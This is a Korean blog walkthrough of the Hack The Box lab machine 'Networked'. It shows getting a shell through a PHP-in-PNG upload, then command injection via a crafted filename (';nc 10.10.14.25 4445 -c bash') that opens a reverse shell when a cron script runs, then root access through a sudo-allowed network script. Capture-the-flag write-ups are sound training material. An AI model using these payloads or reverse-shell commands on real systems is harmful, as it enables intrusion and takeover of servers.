일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | ||||
4 | 5 | 6 | 7 | 8 | 9 | 10 |
11 | 12 | 13 | 14 | 15 | 16 | 17 |
18 | 19 | 20 | 21 | 22 | 23 | 24 |
25 | 26 | 27 | 28 | 29 | 30 | 31 |
- 삼성노트동기화오류
- 티스토리챌린지
- pe구조
- set
- L
- portswigger
- flask 구조
- 레나튜토리얼
- 리버싱
- 리버스엔지니어링
- flask설치
- 파이썬
- 멀티컨트롤오류
- 포트스캐너
- AQ
- Python
- 레나튜토리얼.
- 삼성클라우드오류
- 리버스 엔지니어링
- 오블완
- 클립보드간공유기능
- flask
- 숫자분리
- 플라스크
- flask blueprint
- 플라스크 애플리케이션 팩토리
- tuple
- NMAP
- Today
- Total
정보보안
Networked 본문
RCE via Fileupload
작은 사이즈(<60000)를 가진 일반 .png 파일에 php 코드(RCE)를 추가한 후 "[filename].php.png"으로 저장한다.
사이트에 해당 파일을 업로드한다.
업로드된 파일의 URL에 접속한다.
리스닝 하던 포트로 쉘을 획득했다.
$ nc -lvnp 4444
>
connect to [10.10.14.25] from (UNKNOWN) [10.129.67.226] 48594
sh: no job control in this shell
sh-4.2$ python -c 'import pty;pty.spawn("/bin/bash")'
bash-4.2$ ^Z
[1]+ Stopped nc -lvnp 4444
┌──(jujjing㉿HARU0909)-[~/htb/networked/poc]
└─$ stty raw -echo; fg
>
nc -lvnp 4444
bash-4.2$ export TERM=screen
bash-4.2$ id
uid=48(apache) gid=48(apache) groups=48(apache)
apache 권한으로는 sudo를 password 없이 사용하지 못했다.
대신 /home/guly에 접속이 가능했다. (// 플래그인 user.txt는 권한 때문에 확인이 불가능했다.)
또한 crontab.guly 파일을 통해 check_attack.php
를 3분마다 guly로 실행하고 있는 것을 확인했다.
bash-4.2$ ls -al /home/guly
total 28
drwxr-xr-x. 2 guly guly 4096 Sep 6 2022 .
drwxr-xr-x. 3 root root 18 Jul 2 2019 ..
lrwxrwxrwx. 1 root root 9 Sep 7 2022 .bash_history -> /dev/null
-rw-r--r--. 1 guly guly 18 Oct 30 2018 .bash_logout
-rw-r--r--. 1 guly guly 193 Oct 30 2018 .bash_profile
-rw-r--r--. 1 guly guly 231 Oct 30 2018 .bashrc
-r--r--r--. 1 root root 782 Oct 30 2018 check_attack.php
-rw-r--r-- 1 root root 44 Oct 30 2018 crontab.guly
-r--------. 1 guly guly 33 Sep 9 20:28 user.txt
bash-4.2$ cat /home/guly/crontab.guly
*/3 * * * * php /home/guly/check_attack.php
다음은 check_attack.php 파일 코드이다.
해당 코드에서는 path(/var/www/html/uploads/)에 있는 파일을 하나씩 스캔하여 공격으로 판단되는 경우 로그를 작성하고 이메일을 전송한다.
보안 취약점으로는 exec("nohup /bin/rm -f $path$value > /dev/null 2>&1 &");
부분에서 사용자가 지정하는 값($value)을 검증하지 않는다는 것이다.
$value는 파일명이기 때문에, uploads 디렉터리 안에 RCE 코드 파일 이름을 가진 파일을 하나 만들어주면 되겠다.
bash-4.2$ cat /home/guly/check_attack.php
<?php
require '/var/www/html/lib.php';
$path = '/var/www/html/uploads/';
$logpath = '/tmp/attack.log';
$to = 'guly';
$msg= '';
$headers = "X-Mailer: check_attack.php\r\n";
$files = array();
$files = preg_grep('/^([^.])/', scandir($path));
foreach ($files as $key => $value) {
$msg='';
if ($value == 'index.html') {
continue;
}
#echo "-------------\n";
#print "check: $value\n";
list ($name,$ext) = getnameCheck($value);
$check = check_ip($name,$value);
if (!($check[0])) {
echo "attack!\n";
# todo: attach file
file_put_contents($logpath, $msg, FILE_APPEND | LOCK_EX);
exec("rm -f $logpath");
exec("nohup /bin/rm -f $path$value > /dev/null 2>&1 &");
echo "rm -f $path$value\n";
mail($to, $msg, $msg, $headers, "-F$value");
}
}
?>
업로드 폴더에서 아래와 같이 파일을 생성한다.
bash-4.2$ cd /var/www/html/uploads
bash-4.2$ touch ';nc 10.10.14.25 4445 -c bash'
얼마되지 않아 guly권한으로 쉘을 획득했다. (flag도 획득했다.)
Privilege Escalation
sudo -l을하여 sudo를 할 수 있는 게 있는지 확인한다.
/usr/local/sbin/changename.sh를 root권한으로 실행할 수 있다.
[guly@networked ~]$ ^Z
[1]+ Stopped nc -lvnp 4445
┌──(jujjing㉿HARU0909)-[~]
└─$ stty raw -echo; fg
nc -lvnp 4445
[guly@networked ~]$ export TERM=screen
[guly@networked ~]$ sudo -l
sudo -l
Matching Defaults entries for guly on networked:
!visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin,
env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS",
env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE",
env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES",
env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE",
env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY",
secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin
er guly may run the following commands on networked:
▽ (root) NOPASSWD: /usr/local/sbin/changename.sh
changename.sh를 확인해보았다.
cat /usr/local/sbin/changename.sh
#!/bin/bash -p
cat > /etc/sysconfig/network-scripts/ifcfg-guly << EoF
DEVICE=guly0
ONBOOT=no
NM_CONTROLLED=no
EoF
regexp="^[a-zA-Z0-9_\ /-]+$"
for var in NAME PROXY_METHOD BROWSER_ONLY BOOTPROTO; do
echo "interface $var:"
read x
while [[ ! $x =~ $regexp ]]; do
echo "wrong input, try again"
echo "interface $var:"
read x
done
echo $var=$x >> /etc/sysconfig/network-scripts/ifcfg-guly
done
/sbin/ifup guly0
[guly@networked ~]$ ls -al /usr/local/sbin/changename.sh
ls -al /usr/local/sbin/changename.sh
-rwxr-xr-x 1 root root 422 Jul 8 2019 /usr/local/sbin/changename.sh
해당 파일을 실행하면 NAME PROXY_METHOD 등을 직접 입력할 수 있다.
링크(https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) 에 따르면 NAME을 통해 쉘을 실행할 수 있는 가능성이 있다.
NAME에 bash를 넣어주었더니 root로 권한 상승이 되었다.
'HTB > Linux' 카테고리의 다른 글
Poison (0) | 2023.09.11 |
---|---|
SwagShop (0) | 2023.09.10 |
SolidState (0) | 2023.09.05 |
Valentine(heartbleed) (0) | 2023.09.03 |
Sense (0) | 2023.09.01 |